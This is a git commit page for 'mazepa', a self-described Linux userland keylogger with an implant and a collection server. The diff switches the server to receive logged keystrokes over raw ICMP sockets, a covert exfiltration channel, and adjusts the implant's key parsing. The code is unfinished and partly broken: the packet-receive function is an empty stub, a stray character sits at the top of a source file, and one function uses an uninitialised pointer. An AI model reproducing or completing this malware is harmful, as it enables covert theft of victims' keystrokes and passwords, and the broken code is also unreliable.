mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit c08eea7931457d6df6c0bd8ccc8d64e38c8f4467
parent cf97672b5ae5b79d09838083d645501e4578cd69
Author: djnnvx <[email protected]>
Date: Fri, 19 Apr 2024 14:10:12 +0200

wip(server): ICMP stack

Diffstat:
M.gitignore | 2++
Mimplant/sources/logger.c | 2+-
Mimplant/sources/net.c | 2+-
Dserver/compile_flags.txt | 1-
Mserver/includes/server.h | 38++++++++++++++++++++++++++++----------
Mserver/sources/csv.c | 3---
Mserver/sources/lexxer.c | 2+-
Mserver/sources/loop.c | 179++++++++++++-------------------------------------------------------------------
Mserver/sources/main.c | 5+++--
Mserver/sources/net.c | 33++++++++++++++++++++++++---------

10 files changed, 87 insertions(+), 180 deletions(-)

diff --git a/.gitignore b/.gitignore
@@ -2,3 +2,4 @@
 *.txt
 server/server
 implant/mzp
+.idea
+\ No newline at end of file
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -58,7 +58,7 @@ get_highest_fd(implant_t *instance) {
 static char *
 check_translated_key(char *key_desc) {
     for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
-        if (!strcmp(KEYS[ctr].description, key_desc)) {
+        if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
 
             memset(key_desc, 0, STRING_BUFFER_SIZE);
             key_desc[0] = KEYS[ctr].representation;
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,4 +1,4 @@
-
+<
 /*
     this file holds all of the functions needed for communicating with the
     remote server
diff --git a/server/compile_flags.txt b/server/compile_flags.txt
@@ -1 +0,0 @@
--Iincludes
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -21,6 +21,11 @@
 
 #endif
 
+
+#ifndef STATIC_IP_ADDR
+#define STATIC_IP_ADDR ("0.0.0.0")
+#endif
+
 #include <sys/queue.h>
 #include <sys/types.h>
 #include <unistd.h>
@@ -41,22 +46,36 @@ typedef struct translated_key {
 */
 typedef struct client_state client_t;
 struct client_state {
-    int sockfd;
+
+    /* if all client fields in server state are occupied,
+     * we remove the eldest client. When it pings again,
+     * we can remove another one
+     */
+    unsigned long last_ping_timestamp;
 
     char current_buffer[STRING_BUFFER_SIZE];
     ssize_t nb_bytes_in_buffer;
 
     /* client metadata dumped in database */
-    char uuid[STRING_BUFFER_SIZE];
-    char name[STRING_BUFFER_SIZE];
     char ipaddr[STRING_BUFFER_SIZE];
-    char linux_version[STRING_BUFFER_SIZE];
     char locale[STRING_BUFFER_SIZE];
 
     TAILQ_ENTRY(client_state)
     clients;
 };
 
+#define IP_LENGTH (40)
+#define ICMP_DATA_LENGTH (128) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
+
+typedef struct icmp_packet {
+    char addr[IP_LENGTH];
+    int type;
+
+    char payload[ICMP_DATA_LENGTH];
+    ssize_t payload_size;
+} icmp_msg_t;
+
+
 /* main server object */
 typedef struct server_state {
 
@@ -64,8 +83,6 @@ typedef struct server_state {
     TAILQ_HEAD(listhead, client_state)
     clients;
 
-    int fdsize;
-
     struct user_options {
         char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
         unsigned short listen_port;
@@ -87,11 +104,14 @@ typedef struct server_state {
 #define KEY_PRESSED 1
 #define KEY_RELEASED 0
 
+#define MTU (1472)
+
 // net.c
 int init_remote_connection(server_t *instance);
+int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg);
 
 // lexxer.c
-int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
+int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
 
 // csv.c
 int init_csv_dbfd(char const *filepath);
@@ -99,8 +119,6 @@ int init_csv_dbfd(char const *filepath);
 // loop.c
 void loop(server_t *instance);
 int should_gracefully_exit(int code);
-int get_fd_size(void);
-void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance);
-int check_new_connections(server_t *instance);
+
 
 #endif /* SERVER_H */
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -5,9 +5,6 @@ TODO:
     - add optional support for sqlite (maybe at compile-time) with an option
     - build little abstraction that will call the under-layered functions
 underneath
-
-    simple layout will be:
-    uuid, name, ip-addr, linux-version, locale, dump
 */
 
 #include <fcntl.h>
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -24,7 +24,7 @@ get_help(const char *bin_name) {
     printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
 }
 
-int parse_cli_arguments(server_t *instance, int ac, char **av, __attribute__((unused)) char **envp) {
+int parse_cli_arguments(server_t *instance, const int ac, char **av, __attribute__((unused)) char **envp) {
 
     int c = 0;
     int opt_idx = 0;
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -14,88 +14,54 @@
 #include <unistd.h>
 #include "server.h"
 
-/*
-    - call select() to know which available (net) sockets are ready to
-    do something
-    - accept incoming connections if any & assign new socket for each
-    - read from all available sockets
-    - if new keys are dumped, lets get xkbcontext & read the new keys
-    - check which items are to be stored in database
-    - store it by bulk updates
-        -> if anything fucks up at any point just trigger cleanup routine
-*/
-void loop(server_t *instance) {
-    fd_set rs;
-    fd_set ws;
-    fd_set es;
 
-    struct timeval timeout = {
-        .tv_usec = 5000,
-        .tv_sec = 0};
+void loop(server_t *instance) {
 
     int dbfd = init_csv_dbfd(instance->options.db_filepath);
-    if (dbfd < 0)
+    if (dbfd < 0 && instance->options.db_filepath[0] != 0)
         return;
 
-    instance->fdsize = get_fd_size();
     TAILQ_INIT(&instance->clients);
     while (should_gracefully_exit(0)) {
-        if (check_new_connections(instance) == -1)
-            break;
-
-        if (instance->fdsize == -1)
-            break;
-
-        fdset_setup(&ws, &rs, &es, instance);
-        if (select(instance->fdsize, &rs, &ws, &es, &timeout) < 0) {
-#ifdef DEBUG
-            DEBUG_LOG("select: %s", strerror(errno));
-#endif
-            break;
+
+        icmp_msg_t msg = {0};
+
+        /* poll for new packet */
+        if (net_poll_icmp_recv(instance, &msg) < 0) {
+            goto CLEANUP_ROUTINE;
         }
 
+        /* have we received a new message */
+        if (msg.addr[0] == 0) {
+            usleep(7500);
+            continue;
+        }
+
+        /* find related client in client-list, then update state */
         client_t *it = NULL;
+        int found_client = 0;
         TAILQ_FOREACH(it, &instance->clients, clients) {
-
-            /*
-               an error has happened, we should clean up the connection & dump
-               last retrieved info to database
-            */
-            if (FD_ISSET(it->sockfd, &es)) {
-                // csv_mark_for_next_dump(dbfd, it);
-                close(it->sockfd);
-                TAILQ_REMOVE(&instance->clients, it, clients);
+            if (strncmp(it->ipaddr, msg.addr, STRING_BUFFER_SIZE) == 0) {
+                /* update state ! */
+                found_client = 1;
             }
+        }
+
+        /* no client found, find least active client & kick it. then, add it */
+        if (!found_client) {
 
 
         }
 
+
     }
-}
 
-void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance) {
-    FD_ZERO(es);
-    FD_ZERO(ws);
-    FD_ZERO(rs);
+CLEANUP_ROUTINE:
 
-    client_t *it = NULL;
-    TAILQ_FOREACH(it, &instance->clients, clients) {
-        FD_SET(it->sockfd, es);
-        FD_SET(it->sockfd, ws);
-        FD_SET(it->sockfd, rs);
-    }
-}
+    /* TODO(djnn): dump all client state to database & close server */
 
-int should_gracefully_exit(int code) {
-    static int should_exit = 0;
 
-    if (code != 0 || should_exit) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] caught code: %d\n", code)
-#endif
-        should_exit = 1;
-    }
-    return should_exit;
+    close(dbfd);
 }
 
 static void
@@ -103,94 +69,3 @@ sig_handler(int code) {
     if (code == SIGINT)
         should_gracefully_exit(code);
 }
-
-int check_new_connections(server_t *instance) {
-    fd_set rs, es;
-    struct timeval timeout = {
-        .tv_usec = 5000,
-        .tv_sec = 0};
-
-    FD_ZERO(&rs);
-    FD_ZERO(&es);
-
-    FD_SET(instance->sockfd, &rs);
-    FD_SET(instance->sockfd, &es);
-
-    /* only 1 socket */
-    int status = select(2, &rs, NULL, &es, &timeout);
-    if (status == -1 || FD_ISSET(instance->sockfd, &es)) {
-#ifdef DEBUG
-        DEBUG_LOG("[+] select error: %s\n", strerror("select"));
-#endif
-        return -1;
-    } else if (status == 0) {
-        return 0;
-    }
-
-    if (FD_ISSET(instance->sockfd, &es)) {
-        /* add new connection to clients list */
-
-        client_t *client = malloc(sizeof(client_t));
-        if (!client) {
-#ifdef DEBUG
-            DEBUG_LOG("[+] malloc error: %s\n", strerror("malloc"));
-#endif
-            return -1;
-        }
-
-        memset(client, 0, sizeof(client_t));
-        client->sockfd = accept(instance->sockfd, NULL, NULL);
-        if (setsockopt(
-                client->sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &(int){1},
-                sizeof(int)) < 0) {
-            return -1;
-        }
-
-        instance->fdsize = get_fd_size();
-        TAILQ_INSERT_TAIL(&instance->clients, client, clients);
-    }
-
-    return 0;
-}
-
-int get_fd_size(void) {
-
-    const char fdsize[] = "FDSize:";
-    char buf[4096] = {0};
-    int statfd = open("/proc/self/status", O_RDONLY);
-
-    if (statfd < 0) {
-#ifdef DEBUG
-        DEBUG_LOG("open statfd: %s", strerror(errno));
-#endif
-
-        return -1;
-    }
-
-    const ssize_t num_read = read(statfd, buf, sizeof(buf) - 1);
-    if (num_read <= 0) {
-#ifdef DEBUG
-        DEBUG_LOG("read statfd: %s", strerror(errno));
-#endif
-
-        return -1;
-    }
-
-    buf[num_read] = '\0';
-    close(statfd);
-
-    const char *fdsize_ptr = strstr(buf, fdsize_ptr);
-    if (!fdsize_ptr)
-        return 256;
-
-    for (const char *char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr) {
-        if (isspace(*char_ptr))
-            continue;
-        else if (*char_ptr == 0)
-            return 256;
-
-        return atoi(char_ptr);
-    }
-
-    return 256;
-}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -2,7 +2,7 @@
 #include <unistd.h>
 #include "server.h"
 
-int main(int ac, char **av, char **envp) {
+int main(const int ac, char **av, char **envp) {
 
     server_t srv = {0};
 
@@ -18,5 +18,6 @@ int main(int ac, char **av, char **envp) {
     DEBUG_LOG("[+] socket initiated....preparing DB connection");
 #endif
 
-    srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
+    loop(&srv);
+    return 0;
 }
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -6,6 +6,7 @@
 
 #include <arpa/inet.h>
 #include <netinet/in.h>
+#include <netinet/ip_icmp.h>
 #include <sys/socket.h>
 
 #include "server.h"
@@ -20,12 +21,15 @@ int init_remote_connection(server_t *instance) {
     /*
        creating initial socket...
 
+       we will transmit keys logged over ICMP protocol.
+       to parse ICMP packets, we must use RAW sockets & filter the packets ourselves :)
+
        AF_INET          -> remote connection    (for local, use AF_UNIX)
        SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
        IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
 
     */
-    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
     if (sockfd < 0) {
 
 #ifdef DEBUG
@@ -40,11 +44,12 @@ int init_remote_connection(server_t *instance) {
     int is_enabled = 1;
     struct sockaddr_in addr = {.sin_family = AF_INET,
                                .sin_port = htons(instance->options.listen_port),
-                               .sin_addr.s_addr = inet_addr("0.0.0.0")};
+                               .sin_addr.s_addr = inet_addr(STATIC_IP_ADDR)};
 
-    /* setting socket options to make connection more convenient */
-    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
-                                                                       (useful for testing) */
+    /* setting socket options to make connection more convenient
+    * allowing to reuse ADDR or PORT (useful for testing)
+    *  */
+    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
                    &is_enabled,
                    sizeof(int)) < 0) {
 
@@ -56,23 +61,33 @@ int init_remote_connection(server_t *instance) {
         return -1;
     }
 
-    if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &is_enabled, sizeof(int)) < 0) {
 
 #ifdef DEBUG
-        DEBUG_LOG("connect: %s", strerror(errno));
+        DEBUG_LOG("setsockopt send_key_description (IP_HDRINCL): %s", strerror(errno));
 #endif
 
         close(sockfd);
         return -1;
     }
 
-    if (listen(sockfd, MAX_NB_CLIENT) < 0) {
+    if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+
 #ifdef DEBUG
-        DEBUG_LOG("listen: %s", strerror(errno));
+        DEBUG_LOG("connect: %s", strerror(errno));
 #endif
 
+        close(sockfd);
         return -1;
     }
 
     return sockfd;
 }
+
+int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg) {
+
+    struct sockaddr_in src_addr = {0};
+
+
+    return SUCCESSFUL;
+}